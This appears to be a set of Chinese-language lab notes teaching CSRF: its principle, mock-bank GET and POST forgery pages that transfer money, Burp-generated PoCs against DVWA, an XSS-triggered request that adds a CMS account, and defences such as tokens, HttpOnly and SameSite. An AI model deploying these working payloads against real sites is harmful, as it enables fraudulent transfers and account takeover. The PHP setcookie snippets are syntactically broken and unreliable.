跨站请求伪造(CSRF)
1.1 CSRF原理
1.1.1 基本概念
跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。
借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。
1.1.2 关键点
- 受害者没有退出登录,受害者保持身份认证。
- CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
- CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。
1.1.3 目标
- CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。
- CSRF 的场景中,攻击者是没有办法获得服务器的响应。
1.2 CSRF 场景
1.2.1 银行账户转账
搭建模拟银行网站
1.2.2 构造虚假网站
构造CSRF攻击连接
<meta charset='utf-8'>
<imgsrc='./1.jpg'><br/>
<img src='http://192.168.16.136/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
攻击者通过 <img> 标签构造GET 请求:当浏览器加载图片的时候执行了GET请求链接。
浏览器根据 <img> 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。
1.2.3 场景建模
同意浏览器下,两个网站,信任的网站A和不信任的网站B
环境搭建
银行环境
将bank压缩包解压后,创建数据库和表
虚假网站
GET型
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.16.136/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
POST型
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.16.136/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
步骤
使用两个浏览器登录admin和hacker的银行账户
1.admin用户登录银行网址时没有退出登录但是被引诱点击了hacker准备的危险网站,进入游戏
2.当admin用户点击危险网站或者在危险网站中刷新的时候,就会遭受攻击,给hacker用户转账
3.每有一个人点击hacker的危险网站hacker就会进账一百元,但是前提是,被攻击的用户在没退出网上银行的时候点击hacker的危险网站才会有效
原因
在危险网站中打开F12,点击网络,本应该之访问self.php网站的但是又访问了bank网站
查看源代码,一个img标签中有恶意代码
转账的三要素是原账号,转账金额,目标账号
原账号在cookie中
点击bank请求,查看cookie,此cookie是还未退出网上银行登录点击了危险网站的hello用户的cookie
在危险网站中有hello用户网上银行的cookie,此时这就是跨站;当访问危险网站的时候,危险网站又在本浏览器中向网上银行发起请求,当危险网站中存储的是网上银行的cookie,也会将cookie信息带上,那么就形成了转账的三要素。进行了转账。
1.3 CSRF类别
1.3.1 POST方式
<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.130/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
1.4 CSRF 验证
1.4.1 CSRF PoC generator
Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证。
打开dvwa
使用bp构建链接
打开bp,点击target模块
展开网页路径,形成一个目录结构,发现有许多的文件或目录上有红点,点开红点就会发现有安全风险。
使用bp代理时,也会自动检测一些安全风险
点击CSRF,修改密码,在bp中点击history,点击修改密码的链接
在Request中右击找到Engagement tools,点击Generate CSRF PoC(生成CSRF漏洞验证代码)
生成代码后,修改密码为123.com,点击浏览器中测试生成一个url地址,复制url地址
在admin还没有退出dvwa时访问复制的url地址(恶意网站)
当用户点击Submit request时密码就会被修改
2. CSRF 攻防
2.1 CSRF 实战
2.1.1 与XSS漏洞相结合
攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:
<script>
xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>
前提
什么是与XSS相结合:就是说这个请求和触发通过js代码来触发。要想触发请求的话,先研究目标网站的工作流程,得知道网站是否含有XSS漏洞。
结合XSS添加账户
登录cms,点击管理员账号,点击添加用户:xu,123456
找到添加账号的数据包,将数据保存。
POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.16.136
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.16.136
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.16.136/cms/admin/user.add.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: username=admin; userid=1; PHPSESSID=o4h4avhnt0km9mnq89vbj97g32
Connection: close
act=add&username=xu&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0
因为请求和触发通过js代码来触发,open中的地址改为cms的地址,send中添加抓取的数据包中的act
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.16.136/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=xujie&password=991207&password2=991207&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
在cms系统首页中点击留言板,在留言板中添加数据
提交,管理员进行留言管理,当看见留言时已遭受攻击,使用创建的用户密码登录
2.2 CSRF 防御
2.2.1 无效防御
使用秘密的Cookie:将存储在浏览器端用来身份认证的cookie信息进行加密。
仅接收POST 请求。
多步交易:多步交易,有可能会被恶意攻击者预测。
URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞。
HTTPS:所有安全机制的前提。
2.2.2 有效防御
验证Referer 字段:
- 前URL 的上一个URL;
- 转账页面到转账操作;
- 伪造?
添加Token 验证:
二次验证:在关键操作之前,再输入密码或者验证码。
HttpOnly:cookie安全机制,某些情况下禁止JS 脚本访问Cookie 信息。
在phpstudy中的根目录下,创建文件夹php,php中创建文件夹funcitions,在此文件夹下创建setcookie.php,setcookie是php的函数用来下发cookie信息的,在php.net中查看,setcookie中有七个参数
PHP:setcookie
<?php
setcookie("username","xujie",time()+3600),"","","",true)
?>
先不添加true参数
<?php setcookie("username","xujie",time()+3600),"","","")
?>
打开浏览器访问setcookie.php,页面什么也没有
打开F12 ,点击Console,输入alert(document.cookie);cookie信息显现
点击Application,点击cookie,httponly没有选择
删除cookie,重新点击Console,输入alert(document.cookie);没有cookie
访问添加了true的setcookie.php页面
打开F12 ,点击Console,输入alert(document.cookie);cookie信息没有显现
点击Application,点击cookie,有cookie并且开启httponly
SameSite:Cookie 属性,浏览器自带安全机制。